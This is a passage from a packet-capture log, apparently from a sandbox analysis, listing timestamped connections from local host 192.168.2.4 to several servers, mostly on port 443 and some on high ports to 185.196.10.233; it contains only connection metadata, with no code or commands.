Apr 23, 2024 23:02:22.053463936 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.080393076 CEST	443	49832	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.080471039 CEST	443	49832	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.080521107 CEST	443	49832	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.080543995 CEST	49832	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.080594063 CEST	443	49832	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.080624104 CEST	49832	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.080688000 CEST	443	49832	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.080756903 CEST	49832	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.082914114 CEST	49832	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.082943916 CEST	443	49832	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.084131002 CEST	443	49834	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.088953972 CEST	49824	443	192.168.2.4	23.11.231.177
Apr 23, 2024 23:02:22.089031935 CEST	49827	443	192.168.2.4	204.79.197.219
Apr 23, 2024 23:02:22.089036942 CEST	49826	443	192.168.2.4	204.79.197.219
Apr 23, 2024 23:02:22.089061975 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.090082884 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.090094090 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.090449095 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.091072083 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.091152906 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.091214895 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.093614101 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.093638897 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.093708038 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.096283913 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.096293926 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.136121035 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.192131042 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.192378998 CEST	39001	49741	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:22.192717075 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.192728043 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.194175005 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.194262981 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.195306063 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.195358038 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.195382118 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.195652008 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.195658922 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.197132111 CEST	49741	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.205394983 CEST	49840	35662	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.224569082 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.226283073 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.226310015 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.227727890 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.227812052 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.228140116 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.228214025 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.228641987 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.228648901 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.260934114 CEST	443	49834	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.260999918 CEST	443	49834	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.261043072 CEST	443	49834	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.261082888 CEST	49834	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.261106968 CEST	443	49834	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.261122942 CEST	49834	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.261178017 CEST	49834	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.261185884 CEST	443	49834	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.264036894 CEST	49834	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.264138937 CEST	443	49834	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.264220953 CEST	49834	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.280956030 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.280972958 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.281042099 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.281270981 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.281282902 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.281605959 CEST	49842	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.281630039 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.281685114 CEST	49842	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.281842947 CEST	49842	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.281858921 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.282159090 CEST	49843	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.282182932 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.282233953 CEST	49843	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.282521963 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.282572031 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.282682896 CEST	49843	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.282697916 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.282711029 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.282809973 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.282823086 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.285759926 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.291115046 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.291870117 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.291883945 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.295449972 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.295510054 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.296386003 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.296561003 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.296566010 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.300683975 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.311589956 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.311863899 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.311881065 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.312067032 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.312154055 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.312175035 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.312213898 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.312213898 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.312232971 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.312246084 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.312252045 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.312258959 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.312280893 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.312283993 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.312308073 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.312319994 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.312326908 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.313254118 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.313313961 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.313494921 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.326004028 CEST	443	49833	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.326049089 CEST	443	49833	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.326069117 CEST	49833	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.326081038 CEST	443	49833	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.326096058 CEST	443	49833	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.326147079 CEST	49833	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.326154947 CEST	443	49833	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.326191902 CEST	49833	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.326211929 CEST	443	49833	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.326272964 CEST	443	49833	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.326329947 CEST	49833	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.344130993 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.360115051 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.362138033 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.362169981 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.362219095 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.362355947 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.362368107 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.390934944 CEST	49833	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.390963078 CEST	443	49833	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.398206949 CEST	49847	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.406349897 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.406374931 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.407943964 CEST	39001	49741	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:22.408119917 CEST	39001	49741	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:22.408170938 CEST	49741	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.414988995 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.415002108 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.415039062 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.415067911 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.415076971 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.416661978 CEST	35662	49840	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:22.416802883 CEST	49840	35662	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.418153048 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.418184996 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.418195009 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.418222904 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.418235064 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.418255091 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.418260098 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.418277025 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.418289900 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.418299913 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.418320894 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.439615965 CEST	49840	35662	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.446954966 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.446986914 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.446995974 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.447015047 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.447024107 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.447042942 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.447056055 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.447067022 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.447094917 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.447107077 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.447371006 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.447397947 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.447427034 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.447439909 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.447458029 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.461338997 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.461390972 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.461402893 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.461421967 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.503745079 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.503772974 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.503957987 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.504208088 CEST	49843	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.504219055 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.504414082 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.504435062 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.504511118 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.504520893 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.504802942 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.505275011 CEST	49843	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.505359888 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.505456924 CEST	49843	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.505589008 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.505886078 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.506009102 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.506059885 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.506300926 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.506464005 CEST	49842	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.506475925 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.506478071 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.506778955 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.506855011 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.506923914 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.506975889 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.506992102 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.507155895 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.507489920 CEST	49842	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.507570028 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.507641077 CEST	49842	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.509038925 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.509071112 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.509090900 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.509123087 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.509145975 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.509156942 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.509175062 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.509186029 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.509335995 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.509428978 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.513092995 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.513108015 CEST	443	49838	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.513148069 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.513170958 CEST	49838	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.520798922 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.520854950 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.521123886 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.521434069 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.521460056 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.523515940 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.523580074 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.523586988 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.523607016 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.523644924 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.525861979 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.525930882 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.525938988 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.536642075 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.536672115 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.536696911 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.536739111 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.536750078 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.536778927 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.536803961 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.545715094 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.545759916 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.545778036 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.545789957 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.545819044 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.545825958 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.545835972 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.545846939 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.545908928 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.545934916 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.545948029 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.546292067 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.546308041 CEST	443	49835	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.546318054 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.546355009 CEST	49835	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.548144102 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.548166990 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.549072027 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.549112082 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.549132109 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.549153090 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.549191952 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.549211979 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.550764084 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.550775051 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.550832033 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.550839901 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.552131891 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.579066038 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.579104900 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.579127073 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.579175949 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.579205036 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.579241991 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.579252958 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.579375029 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.579406023 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.579745054 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.580144882 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.580229044 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.580527067 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.582427025 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.582478046 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.582518101 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.582540035 CEST	49787	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:22.582549095 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.582602024 CEST	49787	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:22.582690954 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.582838058 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.582909107 CEST	49787	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:22.583190918 CEST	49787	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:22.583194017 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.583205938 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.583214998 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.583216906 CEST	49787	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:22.583226919 CEST	443	49787	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.583249092 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.583256960 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.583288908 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.588417053 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.588479996 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.597022057 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.597078085 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.597085953 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.609313965 CEST	39001	49847	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:22.609411955 CEST	49847	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.617878914 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.617911100 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.618007898 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.618007898 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.618016005 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.624161005 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.640496016 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.640588045 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.640600920 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.648329973 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.648353100 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.648394108 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.648405075 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.648437023 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.648456097 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.648631096 CEST	49849	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:22.648668051 CEST	443	49849	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.648731947 CEST	49849	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:22.649741888 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.649796963 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.649806023 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.649842978 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.649876118 CEST	443	49839	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.649913073 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.650043964 CEST	49849	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:22.650059938 CEST	443	49849	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:22.651230097 CEST	49839	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.651243925 CEST	443	49839	23.11.231.163	192.168.2.4
